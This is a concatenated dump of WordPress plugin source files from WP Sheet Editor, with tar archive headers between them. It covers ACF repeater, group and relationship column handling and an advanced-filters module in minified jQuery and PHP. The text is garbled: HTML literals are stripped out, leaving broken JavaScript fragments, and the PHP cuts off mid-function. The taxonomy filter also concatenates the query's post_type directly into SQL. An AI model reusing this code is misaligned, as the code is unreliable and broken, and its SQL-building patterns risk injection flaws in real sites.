$acf_field['name'], '/' ) . '=\d+=' . preg_quote( $layout['name'] . '=' . $subfield['name'], '/' ) . '$/'; $this->flexible_content_keys[ $acf_field['name'] ][ $layout['name'] ][] = $field_regex; $subfield['parent'] = array( 'name' => $acf_field['name'], 'label' => $acf_field['label'], 'key' => $acf_field['key'], ); $subfield['name'] = $acf_field['name'] . '=' . $i . '=' . $layout['name'] . '=' . $subfield['name']; $this->flexible_content_columns_keys[] = $subfield['name']; $this->flexible_content_columns_keys_parsed[ $subfield['name'] ] = array( 'main_key' => $acf_field['name'], 'field_regex' => $field_regex, 'layout_key' => $layout['name'], 'row_index' => $i, ); $subfield['label'] = implode( ' : ', array( $acf_field['label'], __( 'Row', 'acf' ) . ' ' . ( $i + 1 ), $layout['label'], $subfield['label'] ) ); $repeater_field_group[] = $subfield; } $extra_args = array( 'supports_sql_formulas' => false, 'allow_to_prefetch_value' => false, 'allow_for_global_sort' => false, 'allow_role_restrictions_in_columns_manager' => false, 'allow_readonly_option_in_columns_manager' => false, 'allow_custom_format' => false, ); if ( ! empty( $acf_field['_clone'] ) ) { $extra_args['acf_clone_main_key'] = $acf_field['_clone']; $extra_args['acf_clone_main_name'] = trim( $acf_field['_name'], '_' . $acf_field['__name'] ); $extra_args['acf_clone_field_key'] = $acf_field['_name']; $extra_args['acf_clone_field_name'] = $acf_field['__key']; } $this->_register_columns_for_acf_fields( $repeater_field_group, $post_type, $editor, $extra_args ); } } } elseif ( in_array( $acf_field['type'], array( 'group' ) ) ) { $this->group_keys[ $acf_field['name'] ] = array(); // The parent repeater is not editable, it's used internally to keep count of internal rows $editor->args['columns']->remove_item( $acf_field['name'], $post_type ); // Save the subfield keys for processing the values during saving/reading foreach ( $acf_field['sub_fields'] as $subfield ) { $this->group_keys[ $acf_field['name'] ][] = $acf_field['name'] . '_' . $subfield['name']; } // Register columns for each subfield $field_group = array(); foreach ( $acf_field['sub_fields'] as $subfield ) { $subfield['parent'] = array( 'name' => $acf_field['name'], 'label' => $acf_field['label'], 'key' => $acf_field['key'], ); $subfield['name'] = $acf_field['name'] . '_' . $subfield['name']; $subfield['label'] = implode( ' : ', array( $acf_field['label'], $subfield['label'] ) ); $field_group[] = $subfield; } $this->_register_columns_for_acf_fields( $field_group, $post_type, $editor ); } } } public function _prepare_user_for_database( $post_id, $cell_key, $data_to_save, $post_type, $column_settings, $spreadsheet_columns ) { if ( empty( $data_to_save ) ) { return $data_to_save; } $out = ''; if ( empty( $column_settings['acf_field']['multiple'] ) ) { $user = get_user_by( 'login', $data_to_save ); $out = $user ? $user->ID : ''; } else { $user_logins = array_filter( explode( ',', $data_to_save ) ); $out = array(); foreach ( $user_logins as $user_login ) { $user = get_user_by( 'login', $user_login ); if ( $user ) { $out[] = $user->ID; } } } return $out; } public function _prepare_user_for_display( $value, $post, $column_key, $column_settings ) { if ( empty( $value ) ) { return ''; } $out = ''; if ( empty( $column_settings['acf_field']['multiple'] ) ) { $user = get_user_by( 'ID', $value ); $out = $user ? $user->user_login : ''; } elseif ( is_array( $value ) ) { $user_logins = array(); foreach ( $value as $user_id ) { $user = get_user_by( 'ID', $user_id ); if ( $user ) { $user_logins[] = $user->user_login; } } $out = implode( ', ', $user_logins ); } return $out; } public function _prepare_posts_for_database( $post_id, $cell_key, $data_to_save, $post_type, $cell_args, $spreadsheet_columns ) { $out = ''; if ( empty( $data_to_save ) ) { return $out; } if ( empty( $cell_args['acf_field']['multiple'] ) ) { $out = is_numeric( $data_to_save ) ? $data_to_save : VGSE()->data_helpers->get_post_id_from_title( $data_to_save, $cell_args['acf_field_search_post_type'] ); } else { $titles = array_map( 'trim', explode( VGSE()->helpers->get_term_separator(), $data_to_save ) ); $out = array(); foreach ( $titles as $title ) { $out[] = VGSE()->data_helpers->get_post_id_from_title( $title, $cell_args['acf_field_search_post_type'] ); } } return $out; } public function _prepare_posts_for_display( $value, $post, $column_key, $column_settings ) { global $wpdb; $out = ''; if ( ! empty( $value ) ) { if ( empty( $column_settings['acf_field']['multiple'] ) && is_numeric( $value ) ) { $out = html_entity_decode( get_the_title( (int) $value ) ); } elseif ( ! empty( $column_settings['acf_field']['multiple'] ) && is_array( $value ) ) { $ids = array_filter( array_map( 'intval', $value ) ); $ids_in_query_placeholders = implode( ', ', array_fill( 0, count( $ids ), '%d' ) ); $raw_titles = $wpdb->get_col( $wpdb->prepare( "SELECT post_title FROM $wpdb->posts WHERE ID IN ($ids_in_query_placeholders)", $ids ) ); $titles = ! empty( $raw_titles ) ? array_map( 'html_entity_decode', $raw_titles ) : array(); $out = implode( VGSE()->helpers->get_term_separator() . ' ', $titles ); } } return $out; } public function prepare_relationship_for_display( $value, $post, $column_key, $column_settings ) { global $wpdb; $titles = ''; if ( is_array( $value ) && ! empty( $value ) ) { $ids_in_query_placeholders = implode( ', ', array_fill( 0, count( $value ), '%d' ) ); $raw_titles = array_unique( $wpdb->get_col( $wpdb->prepare( "SELECT post_title FROM $wpdb->posts WHERE ID IN ($ids_in_query_placeholders) ORDER BY FIELD(ID, $ids_in_query_placeholders) ", array_merge( $value, $value ) ) ) ); $titles = implode( ', ', $raw_titles ); } return $titles; } public function update_relationship_for_cell( $post_id, $cell_key, $data_to_save, $post_type, $cell_args, $spreadsheet_columns ) { global $wpdb; $titles = array_map( 'trim', explode( ',', $data_to_save ) ); $ids = ''; if ( ! empty( $titles ) ) { $titles_in_query_placeholders = implode( ', ', array_fill( 0, count( $titles ), '%s' ) ); $sql = "SELECT ID FROM $wpdb->posts WHERE post_title IN ($titles_in_query_placeholders) "; if ( ! empty( $cell_args['acf_field']['post_type'] ) ) { $post_types_in_query_placeholders = implode( ', ', array_fill( 0, count( $cell_args['acf_field']['post_type'] ), '%s' ) ); $sql .= " AND post_type IN ($post_types_in_query_placeholders) "; $merged_variables = array_merge( $titles, $cell_args['acf_field']['post_type'], $titles ); } else { $merged_variables = array_merge( $titles, $titles ); } $sql .= " ORDER BY FIELD(post_title, $titles_in_query_placeholders) "; $prepared_sql = $wpdb->prepare( $sql, $merged_variables ); $ids = array_unique( $wpdb->get_col( $prepared_sql ) ); } VGSE()->helpers->get_current_provider()->update_item_meta( $post_id, $cell_key, $ids ); } public function prepare_multi_select_for_display( $value, $post, $column_key, $column_settings ) { $titles = ''; if ( is_array( $value ) && ! empty( $value ) ) { $raw_titles = array(); foreach ( $value as $key ) { if ( ! empty( $column_settings['acf_field']['choices'][ $key ] ) ) { $raw_titles[] = $column_settings['acf_field']['choices'][ $key ]; } } $separator = VGSE()->helpers->get_term_separator(); $titles = implode( $separator . ' ', $raw_titles ); } return $titles; } public function update_multi_select_for_cell( $post_id, $cell_key, $data_to_save, $post_type, $column_settings, $spreadsheet_columns ) { $separator = VGSE()->helpers->get_term_separator(); $titles = array_map( 'trim', explode( $separator, $data_to_save ) ); $ids = ''; if ( ! empty( $titles ) ) { $ids = array(); foreach ( $titles as $title ) { $key = array_search( $title, $column_settings['acf_field']['choices'] ); if ( isset( $column_settings['acf_field']['choices'][ $title ] ) ) { $ids[] = $title; } elseif ( $key !== false ) { $ids[] = $key; } else { continue; } } $ids = array_unique( $ids ); } if ( empty( $ids ) ) { $ids = ''; } VGSE()->helpers->get_current_provider()->update_item_meta( $post_id, $cell_key, $ids ); } public function _get_repeater_count_values( $key, $post_type, $editor ) { $is_flexible_child_field = empty( $this->remove_flexible_content_columns_from_prefetch( array( $key ), $post_type ) ); if ( $is_flexible_child_field ) { return false; } $cache_key = 'vgse_acf_repeater_values' . $key . $post_type; $repeater_count_values = get_transient( $cache_key ); if ( method_exists( VGSE()->helpers, 'can_rescan_db_fields' ) && VGSE()->helpers->can_rescan_db_fields( $post_type ) ) { $repeater_count_values = false; } if ( ! $repeater_count_values ) { $repeater_count_values = array_filter( array_map( 'maybe_unserialize', $editor->provider->get_meta_field_unique_values( $key, $post_type ) ) ); set_transient( $cache_key, $repeater_count_values, DAY_IN_SECONDS ); } return $repeater_count_values; } } } if ( ! function_exists( 'WP_Sheet_Editor_ACF_Obj' ) ) { function WP_Sheet_Editor_ACF_Obj() { return WP_Sheet_Editor_ACF::get_instance(); } } add_action( 'vg_sheet_editor/initialized', 'WP_Sheet_Editor_ACF_Obj' ); modules/advanced-filters/assets/js/init.js000064400000012551147600365160014662 0ustar00jQuery(document).ready(function(){var r=jQuery("#be-filters");if(!r.length)return!0;var e=r.find(".advanced-filters .base");e.removeClass("base"),window.advancedGroupTemplate=e[0].outerHTML,e.remove(),r.on("click",".remove-advanced-filter",function(e){e.preventDefault();var t=jQuery(this).parents(".advanced-field"),a=t.find(".wpse-advanced-filters-field-selector").attr("name");beAddRowsFilter(a+"="),t.remove()}),jQuery("body").on("click","#be-filters .new-advanced-filter",function(e){e.preventDefault();var t=window.advancedGroupTemplate.replace(new RegExp(/\[\]/,"g"),"["+r.find(".advanced-filters .advanced-filters-list").children().length+"]"),a=r.find(".advanced-filters .advanced-filters-list .advanced-field").last();a.length?a.after(t):r.find(".advanced-filters .advanced-filters-list").prepend(t),setTimeout(function(){vgseInitSelect2(r.find(".advanced-filters .advanced-filters-list .advanced-field select.select2").last())},1e3),r.find(".advanced-filters .advanced-filters-list").children().show()}),r.find(".new-advanced-filter").last().trigger("click"),r.find(".advanced-filters-toggle").on("change",function(){jQuery(this).is(":checked")?r.find(".advanced-filters").show():r.find(".advanced-filters").hide()}),jQuery("body").on("change",".wpse-advanced-filters-operator-selector",function(){var e=jQuery(this).find("option:selected").data("value-field-type")||"";if(e){var t=jQuery(this).parents(".fields-wrap").find(".wpse-advanced-filters-value-selector"),a=t.attr("name");if(2===t.length){a=t.last().attr("name");t.last().remove()}var r=t.attr("class");t.replaceWith(''),jQuery(this).parents(".fields-wrap").find(".wpse-advanced-filters-value-selector").trigger("change")}else{jQuery(this).parents(".fields-wrap").find('.wpse-advanced-filters-value-selector:first[type="number"]').attr("type","text");var s=jQuery(this).parents(".fields-wrap").find(".wpse-advanced-filters-field-selector").val();vgseInputToFormattedColumnField(s,jQuery(this).parents(".fields-wrap"),".wpse-advanced-filters-value-selector")}}),jQuery("body").on("change",".wpse-advanced-filters-field-selector",function(){var e=jQuery(this).val(),t=jQuery(this);if(!e||e&&t.data("last-formatted-key")&&e!==t.data("last-formatted-key")){var a=t.attr("name").replace("[key]","[value]");t.parents(".fields-wrap").find(".wpse-advanced-filters-value-selector:gt(0)").remove(),t.parents(".fields-wrap").find(".wpse-advanced-filters-value-selector").replaceWith(''),t.data("last-formatted-key","")}if(e&&(t.parent().find("input.field-source").val(t.find("option:selected").data("source")),t.parent().find(".search-value-wrap input").val(""),vgseInputToFormattedColumnField(e,t.parents(".fields-wrap"),".wpse-advanced-filters-value-selector"),t.data("last-formatted-key",e),e)){var r=e;"date"===(void 0!==vgse_editor_settings.final_spreadsheet_columns_settings[r]?vgse_editor_settings.final_spreadsheet_columns_settings[r].value_type:"")?t.parents(".fields-wrap").find('.wpse-advanced-filters-operator-selector option[data-value-type="date"]').show():t.parents(".fields-wrap").find('.wpse-advanced-filters-operator-selector option[data-value-type="date"]').hide()}})}),jQuery(document).ready(function(){jQuery("body").on("click","[data-start-saved-search]",function(e){e.preventDefault();var t=jQuery(this).data("start-saved-search");vgseRemoveAllFilters(),jQuery("body").data("be-filters",""),beAddRowsFilter(t),vgseFilters.fillSearchForm(t),vgseReloadSpreadsheet()})}),jQuery(document).ready(function(){var r=jQuery("#be-filters");if(!r.length)return!0;var s=jQuery(".vg-toolbar .button-container.run_filters-container .toolbar-submenu");function n(e){return s.find("ul").filter(function(){return jQuery(this).data("key")===e})}function i(){1'),a.find(".wpse-advanced-filters-field-selector").length&&a.find(".wpse-advanced-filters-field-selector").val("_sku"),s.find("ul").last().append(a),vgseInitSelect2(e.find(".select2")),vgseInitSelect2(s.find("ul").last().find(".select2")),i()}r.find("li").each(function(){var e=jQuery(this),t=e.find("input,select,textarea").first();if(t.length){var a=t.attr("name");if(a&&"keyword"!==a){var r=-1'),"fa-star"==r&&d(e,a)}}}),jQuery("body").on("click",".wpse-favorite-search-field",function(e){e.preventDefault();var t=jQuery(this);t.find(".fa-star").length?t.find("i").addClass("fa-star-o").removeClass("fa-star"):t.find("i").addClass("fa-star").removeClass("fa-star-o"),t.find(".fa-star").length?d(t.parents("li"),t.data("key")):function(e,t){n(t).remove(),i()}(t.parents("li"),t.data("key"));var a=[];r.find(".wpse-favorite-search-field .fa-star").each(function(){a.push(jQuery(this).parent().data("key"))}),jQuery.post(vgse_global_data.ajax_url,{action:"vgse_mark_search_fields_as_favorite",post_type:vgse_editor_settings.post_type,fields:a,nonce:vgse_editor_settings.nonce})})});modules/advanced-filters/index.php000064400000000000147600365160013245 0ustar00modules/advanced-filters/advanced-filters.php000064400000123203147600365160015364 0ustar00plugin_url = plugins_url( '/', __FILE__ ); $this->plugin_dir = __DIR__; add_action( 'vg_sheet_editor/after_enqueue_assets', array( $this, 'register_assets' ) ); add_action( 'vg_sheet_editor/filters/after_fields', array( $this, 'add_filters_fields' ), 10, 2 ); add_action( 'vg_sheet_editor/filters/before_form_closing', array( $this, 'add_advanced_filters_fields' ), 10, 2 ); // Priority 12 because this needs to run after the filters.php module added its own query parameters, otherwise the post__in parameter doesn't work well add_filter( 'vg_sheet_editor/load_rows/wp_query_args', array( $this, 'filter_posts' ), 12, 2 ); add_filter( 'vg_sheet_editor/filters/allowed_fields', array( $this, 'register_filters' ), 10, 2 ); add_filter( 'posts_clauses', array( $this, 'exclude_by_keyword' ), 10, 2 ); add_filter( 'posts_clauses', array( $this, 'add_advanced_post_data_query' ), 10, 2 ); add_filter( 'posts_clauses', array( $this, 'add_advanced_taxonomy_query' ), 10, 2 ); add_action( 'vg_sheet_editor/filters/after_form_closing', array( $this, 'render_save_this_search' ) ); add_action( 'vg_sheet_editor/editor/before_init', array( $this, 'register_toolbar_items' ), 50 ); add_action( 'wp_ajax_vgse_delete_saved_search', array( $this, 'delete_saved_search' ) ); add_action( 'wp_ajax_vgse_mark_search_fields_as_favorite', array( $this, 'mark_search_fields_as_favorite' ) ); add_filter( 'vg_sheet_editor/js_data', array( $this, 'add_favorite_search_fields_data' ), 10, 2 ); add_filter( 'vg_sheet_editor/filters/sanitize_request_filters', array( $this, 'register_custom_filters' ), 10, 2 ); } function add_favorite_search_fields_data( $data, $post_type ) { $saved_items = get_option( $this->favorite_search_fields ); $data['favorite_search_fields'] = ( is_array( $saved_items ) && isset( $saved_items[ $post_type ] ) ) ? $saved_items[ $post_type ] : array(); return $data; } function mark_search_fields_as_favorite() { if ( empty( $_POST['post_type'] ) || ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_manage_options() ) { wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to view this page.', 'vg_sheet_editor' ) ) ); } $post_type = VGSE()->helpers->sanitize_table_key( $_POST['post_type'] ); $fields = empty( $_POST['fields'] ) ? array() : array_map( 'sanitize_text_field', $_POST['fields'] ); $saved_items = get_option( $this->favorite_search_fields ); if ( empty( $saved_items ) ) { $saved_items = array(); } if ( ! isset( $saved_items[ $post_type ] ) ) { $saved_items[ $post_type ] = array(); } $saved_items[ $post_type ] = $fields; update_option( $this->favorite_search_fields, $saved_items ); wp_send_json_success(); } function delete_saved_search() { if ( empty( $_POST['post_type'] ) || ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_manage_options() ) { wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to view this page.', 'vg_sheet_editor' ) ) ); } $post_type = VGSE()->helpers->sanitize_table_key( $_POST['post_type'] ); $name = sanitize_text_field( $_POST['search_name'] ); $saved_items = get_option( 'vgse_saved_searches' ); if ( empty( $saved_items ) ) { wp_send_json_success(); } if ( ! isset( $saved_items[ $post_type ] ) ) { wp_send_json_success(); } $same_name = wp_list_filter( $saved_items[ $post_type ], array( 'name' => $name ) ); foreach ( $same_name as $index => $same_name_search ) { unset( $saved_items[ $post_type ][ $index ] ); } update_option( 'vgse_saved_searches', $saved_items, false ); wp_send_json_success(); } function register_toolbar_items( $editor ) { if ( ! VGSE()->helpers->user_can_manage_options() ) { return; } $post_types = $editor->args['enabled_post_types']; $private_keys = array( 'name', 'search_name', 'post_type' ); foreach ( $post_types as $post_type ) { $saved_searches = $this->get_saved_searches( $post_type ); foreach ( $saved_searches as $index => $saved_search ) { $name = esc_html( $saved_search['name'] ); foreach ( $saved_search as $key => $value ) { if ( in_array( $key, $private_keys, true ) ) { unset( $saved_search[ $key ] ); } } $editor->args['toolbars']->register_item( 'saved_search' . $index, array( 'type' => 'button', 'content' => $name, 'toolbar_key' => 'secondary', 'allow_in_frontend' => true, 'parent' => 'run_filters', 'extra_html_attributes' => 'data-saved-type="search" data-saved-item data-item-name="' . esc_attr( $name ) . '" data-start-saved-search="' . esc_attr( json_encode( $saved_search ) ) . '"', ), $post_type ); } } } function render_save_this_search() { if ( ! VGSE()->helpers->user_can_manage_options() || ! is_admin() ) { return; } ?>
query['wpse_original_filters'] ) || empty( $wp_query->query['wpse_original_filters']['meta_query'] ) || ! is_array( $wp_query->query['wpse_original_filters']['meta_query'] ) ) { return $clauses; } $post_data_query = wp_list_filter( $wp_query->query['wpse_original_filters']['meta_query'], array( 'source' => 'taxonomy_keys', ) ); if ( empty( $post_data_query ) ) { return $clauses; } $wheres = array( 'IN' => array(), 'NOT IN' => array(), ); foreach ( $post_data_query as $post_data_parameters ) { if ( empty( $post_data_parameters['key'] ) || empty( $post_data_parameters['compare'] ) ) { continue; } if ( in_array( $post_data_parameters['compare'], array( 'LIKE', 'NOT LIKE' ) ) ) { $post_data_parameters['value'] = '%' . $post_data_parameters['value'] . '%'; } if ( $post_data_parameters['compare'] === 'length_less' ) { if ( (int) $post_data_parameters['value'] < 1 ) { $post_data_parameters['value'] = 1; } $post_data_parameters['compare'] = 'REGEXP'; $post_data_parameters['value'] = '^.{0,' . (int) $post_data_parameters['value'] . '}$'; } if ( $post_data_parameters['compare'] === 'length_higher' ) { if ( (int) $post_data_parameters['value'] < 1 ) { $post_data_parameters['value'] = 1; } $post_data_parameters['compare'] = 'REGEXP'; $post_data_parameters['value'] = '^.{' . (int) $post_data_parameters['value'] . ',}$'; } if ( $post_data_parameters['compare'] === 'OR' ) { $post_data_parameters['compare'] = 'REGEXP'; $keywords = array_filter( array_map( 'preg_quote', array_map( 'trim', explode( ';', $post_data_parameters['value'] ) ) ) ); $post_data_parameters['value'] = '(' . implode( '|', $keywords ) . ')'; } if ( $post_data_parameters['compare'] === 'starts_with' ) { $post_data_parameters['compare'] = 'LIKE'; $post_data_parameters['value'] = $post_data_parameters['value'] . '%'; } if ( $post_data_parameters['compare'] === 'ends_with' ) { $post_data_parameters['compare'] = 'LIKE'; $post_data_parameters['value'] = '%' . $post_data_parameters['value']; } $group = 'IN'; if ( in_array( $post_data_parameters['compare'], array( 'NOT LIKE' ) ) ) { $post_data_parameters['compare'] = 'LIKE'; $group = 'NOT IN'; } elseif ( empty( $post_data_parameters['value'] ) && $post_data_parameters['compare'] === '=' ) { $group = 'NOT IN'; } if ( empty( $post_data_parameters['value'] ) ) { $sql_where = "tt.taxonomy IN ('" . esc_sql( $post_data_parameters['key'] ) . "')"; } else { $sql_where = "tt.taxonomy IN ('" . esc_sql( $post_data_parameters['key'] ) . "') AND t.name " . esc_sql( $post_data_parameters['compare'] ) . " '" . esc_sql( $post_data_parameters['value'] ) . "' "; } $sql = "SELECT tr.object_id FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id INNER JOIN $wpdb->term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id INNER JOIN $wpdb->posts AS p ON (p.ID = tr.object_id) WHERE 1 = 1 AND p.post_type = '" . $wp_query->query['post_type'] . "' AND " . $sql_where . ' GROUP BY tr.object_id'; $wheres[ $group ][] = $sql; } foreach ( $wheres as $operator => $queries ) { foreach ( $queries as $query ) { $clauses['where'] .= " AND $wpdb->posts.ID $operator (" . $query . ') '; } } return $clauses; } function _parse_meta_query_args( $meta_query_args, $allowed_source = 'meta', &$query_args = array() ) { foreach ( $meta_query_args as $index => $meta_query ) { if ( $allowed_source && $meta_query['source'] !== $allowed_source ) { unset( $meta_query_args[ $index ] ); continue; } // When searching for non-empty featured images, it's more accurate the query field > 0 if ( $meta_query['key'] === '_thumbnail_id' && $meta_query['compare'] === '!=' && $meta_query['value'] === '' ) { $meta_query['compare'] = '>'; $meta_query['value'] = '0'; } if ( $meta_query['compare'] === 'length_less' ) { if ( (int) $meta_query['value'] < 1 ) { $meta_query['value'] = 1; } $meta_query_args[ $index ]['compare'] = 'REGEXP'; $meta_query_args[ $index ]['value'] = '^.{0,' . (int) $meta_query['value'] . '}$'; } if ( $meta_query['compare'] === 'length_higher' ) { if ( (int) $meta_query['value'] < 1 ) { $meta_query['value'] = 1; } $meta_query_args[ $index ]['compare'] = 'REGEXP'; $meta_query_args[ $index ]['value'] = '^.{' . (int) $meta_query['value'] . ',}$'; } if ( $meta_query['compare'] === 'OR' ) { $meta_query_args[ $index ]['compare'] = 'REGEXP'; $keywords = array_filter( array_map( 'trim', explode( ';', $meta_query['value'] ) ) ); $meta_query_args[ $index ]['value'] = '(' . implode( '|', $keywords ) . ')'; } if ( $meta_query['compare'] === 'starts_with' ) { $meta_query_args[ $index ]['compare'] = 'REGEXP'; $meta_query_args[ $index ]['value'] = '^' . $meta_query['value']; } if ( $meta_query['compare'] === 'ends_with' ) { $meta_query_args[ $index ]['compare'] = 'REGEXP'; $meta_query_args[ $index ]['value'] .= '$'; } if ( class_exists( 'WooCommerce' ) && in_array( $meta_query['key'], array( '_sale_price_dates_from', '_sale_price_dates_to' ), true ) && ! empty( $meta_query['value'] ) ) { if ( $meta_query['key'] === '_sale_price_dates_to' ) { $meta_query['value'] .= ' 23:59:59'; } $meta_query_args[ $index ]['value'] = wp_date( 'U', get_gmt_from_date( $meta_query['value'], 'U' ) ); } if ( in_array( $meta_query['compare'], array( '>', '>=', '<', '<=' ) ) && is_numeric( $meta_query['value'] ) ) { $meta_query_args[ $index ]['type'] = 'NUMERIC'; } if ( empty( $meta_query['value'] ) && in_array( $meta_query['compare'], array( '=', 'LIKE' ) ) && $allowed_source === 'meta' ) { $not_exists = $meta_query; $not_exists['compare'] = 'NOT EXISTS'; $meta_query_args[ $index ] = array( 'relation' => 'OR', $meta_query, $not_exists, ); } if ( ! empty( $meta_query_args[ $index ]['value'] ) ) { $meta_query_args[ $index ]['value'] = $this->_maybe_convert_username_to_user_id( 'meta', $meta_query_args[ $index ] ); $meta_query_args[ $index ]['value'] = $this->_maybe_convert_post_to_ids( $meta_query_args[ $index ] ); } } return $meta_query_args; } /** * This function is necessary to convert the friendly post titles received from the search form into the post IDs saved in the database to be used for the searches. * Ideally, this function should work automatically on any column with "post dropdown" format, however we have many columns with post dropdowns that don't use the columns manager and we need to update all those columns to use the columns manager for this to work on all the post dropdown columns. * We're hardcoding support for 2 meta keys for now as a workaround. * * @param array $meta_query * @return string */ function _maybe_convert_post_to_ids( $meta_query ) { global $wpdb; $cell_key = $meta_query['key']; if ( $cell_key === '_EventVenueID' ) { $meta_query['value'] = (int) $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_title = %s AND post_type = 'tribe_venue'", html_entity_decode( $meta_query['value'] ) ) ); } if ( $cell_key === '_EventOrganizerID' ) { $meta_query['value'] = (int) $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_title = %s AND post_type = 'tribe_organizer'", html_entity_decode( $meta_query['value'] ) ) ); } return $meta_query['value']; } function _maybe_convert_username_to_user_id( $allowed_source, $meta_query ) { $post_type = VGSE()->helpers->get_provider_from_query_string(); $spreadsheet_columns = VGSE()->helpers->get_unfiltered_provider_columns( $post_type ); $cell_key = $meta_query['key']; $column_uses_user_search = in_array( $allowed_source, array( 'meta', 'post_data' ), true ) && ! empty( $spreadsheet_columns ) && isset( $spreadsheet_columns[ $cell_key ] ) && ! empty( $spreadsheet_columns[ $cell_key ]['formatted']['source'] ) && $spreadsheet_columns[ $cell_key ]['formatted']['source'] === 'searchUsers'; if ( ! empty( $meta_query['value'] ) && $column_uses_user_search ) { $column_settings = $spreadsheet_columns[ $cell_key ]; $username = $meta_query['value']; // If it uses the regular saving (not prepare nor save callback) if ( empty( $column_settings['prepare_value_for_database'] ) && empty( $column_settings['save_value_callback'] ) ) { $meta_query['value'] = VGSE()->data_helpers->set_post( 'post_author', $username ); } elseif ( ! empty( $column_settings['prepare_value_for_database'] ) && empty( $column_settings['save_value_callback'] ) ) { $meta_query['value'] = call_user_func( $column_settings['prepare_value_for_database'], null, $cell_key, $username, null, $column_settings, $spreadsheet_columns ); } } return $meta_query['value']; } function _build_sql_wheres_for_data_table( $post_data_query, $table_name ) { $wheres = array(); foreach ( $post_data_query as $post_data_parameters ) { if ( empty( $post_data_parameters['key'] ) || empty( $post_data_parameters['compare'] ) ) { continue; } if ( ! is_string( $post_data_parameters['key'] ) || ! is_string( $post_data_parameters['compare'] ) ) { continue; } if ( in_array( $post_data_parameters['compare'], array( 'LIKE', 'NOT LIKE' ) ) ) { $post_data_parameters['value'] = '%' . $post_data_parameters['value'] . '%'; } if ( $post_data_parameters['compare'] === 'length_less' ) { if ( (int) $post_data_parameters['value'] < 1 ) { $post_data_parameters['value'] = 1; } $post_data_parameters['compare'] = '<'; $post_data_parameters['use_length'] = true; } if ( $post_data_parameters['compare'] === 'length_higher' ) { if ( (int) $post_data_parameters['value'] < 1 ) { $post_data_parameters['value'] = 1; } $post_data_parameters['compare'] = '>'; $post_data_parameters['use_length'] = true; } if ( $post_data_parameters['compare'] === 'OR' ) { $post_data_parameters['compare'] = 'REGEXP'; $keywords = array_filter( array_map( 'trim', explode( ';', $post_data_parameters['value'] ) ) ); $post_data_parameters['value'] = '(' . implode( '|', $keywords ) . ')'; } if ( $post_data_parameters['compare'] === 'starts_with' ) { $post_data_parameters['compare'] = 'LIKE'; $post_data_parameters['value'] = $post_data_parameters['value'] . '%'; } if ( $post_data_parameters['compare'] === 'ends_with' ) { $post_data_parameters['compare'] = 'LIKE'; $post_data_parameters['value'] = '%' . $post_data_parameters['value']; } // If the value is a date like Y-m-d 00:00:00 and uses the CONTAINS (LIKE) operator, // remove the time part because they always want to get CONTAINS=date without time if ( $post_data_parameters['compare'] === 'LIKE' && preg_match( '/^\d{4}-\d{2}-\d{2} 00:00:00$/', $post_data_parameters['value'] ) ) { $post_data_parameters['value'] = str_replace( ' 00:00:00', '', $post_data_parameters['value'] ); } $post_data_parameters['value'] = $this->_maybe_convert_username_to_user_id( 'post_data', $post_data_parameters ); if ( in_array( $post_data_parameters['compare'], array( '<', '>' ), true ) && ! empty( $post_data_parameters['use_length'] ) ) { $wheres[] = " LENGTH($table_name." . esc_sql( $post_data_parameters['key'] ) . ') ' . esc_sql( $post_data_parameters['compare'] ) . ' ' . (int) $post_data_parameters['value']; } else { $wheres[] = " $table_name." . esc_sql( $post_data_parameters['key'] ) . ' ' . esc_sql( $post_data_parameters['compare'] ) . " '" . esc_sql( $post_data_parameters['value'] ) . "' "; } } return $wheres; } function add_advanced_post_data_query( $clauses, $wp_query ) { global $wpdb; if ( empty( $wp_query->query['wpse_original_filters'] ) || empty( $wp_query->query['wpse_original_filters']['meta_query'] ) || ! is_array( $wp_query->query['wpse_original_filters']['meta_query'] ) ) { return $clauses; } $post_data_query = wp_list_filter( $wp_query->query['wpse_original_filters']['meta_query'], array( 'source' => 'post_data', ) ); if ( empty( $post_data_query ) ) { return $clauses; } // Remove the post_status clause added by wp_query automatically because we // have an advanced filter for the same field if ( ! empty( $wp_query->query['wpse_original_post_statuses'] ) ) { $post_type_object = get_post_type_object( $wp_query->query['post_type'] ); $statuses_to_remove = $wp_query->query['wpse_original_post_statuses']; if ( $post_type_object && WP_Sheet_Editor_Helpers::current_user_can( $post_type_object->cap->edit_published_posts ) ) { $allowed_statuses = array_merge( array( 'trash' ), $statuses_to_remove ); } else { $allowed_statuses = $statuses_to_remove; } $has_allowed_post_status_filter = false; foreach ( $post_data_query as $index => $post_data_query_single ) { if ( $post_data_query_single['key'] !== 'post_status' ) { continue; } if ( in_array( $post_data_query_single['value'], $allowed_statuses, true ) ) { $has_allowed_post_status_filter = true; } else { unset( $post_data_query[ $index ] ); } } if ( $has_allowed_post_status_filter ) { $clauses['where'] = preg_replace( '/AND \(\(' . $wpdb->posts . ".post_status[A-Za-z0-9 ='\._\-]+\)\)/", '', $clauses['where'] ); } } $wheres = $this->_build_sql_wheres_for_data_table( $post_data_query, $wpdb->posts ); if ( ! empty( $wheres ) ) { $clauses['where'] .= ' AND ' . implode( ' AND ', $wheres ); } return $clauses; } function exclude_by_keyword( $clauses, $wp_query ) { if ( ! empty( $wp_query->query['wpse_not_contains_keyword'] ) ) { $clauses = WP_Sheet_Editor_Filters::get_instance()->add_search_by_keyword_clause( $clauses, $wp_query->query['wpse_not_contains_keyword'], 'NOT LIKE', 'AND' ); } return $clauses; } /** * Register frontend assets */ function register_assets() { wp_enqueue_script( 'advanced-filters_js', $this->plugin_url . 'assets/js/init.js', array(), VGSE()->version, false ); } function register_filters( $filters, $post_type ) { if ( VGSE()->helpers->get_current_provider()->is_post_type ) { $taxonomies = get_object_taxonomies( $post_type ); if ( ! empty( $taxonomies ) ) { $filters['taxonomy_term'] = array( 'label' => '', 'description' => '', ); } $filters['date'] = array( 'label' => '', 'description' => '', ); if ( post_type_supports( $post_type, 'page-attributes' ) && $post_type !== 'attachment' ) { $filters['post_parent'] = array( 'label' => __( 'Parent', 'vg_sheet_editor' ), 'description' => '', ); } // Remove the post status field because they can search using the advanced filters if ( isset( $filters['post_status'] ) ) { unset( 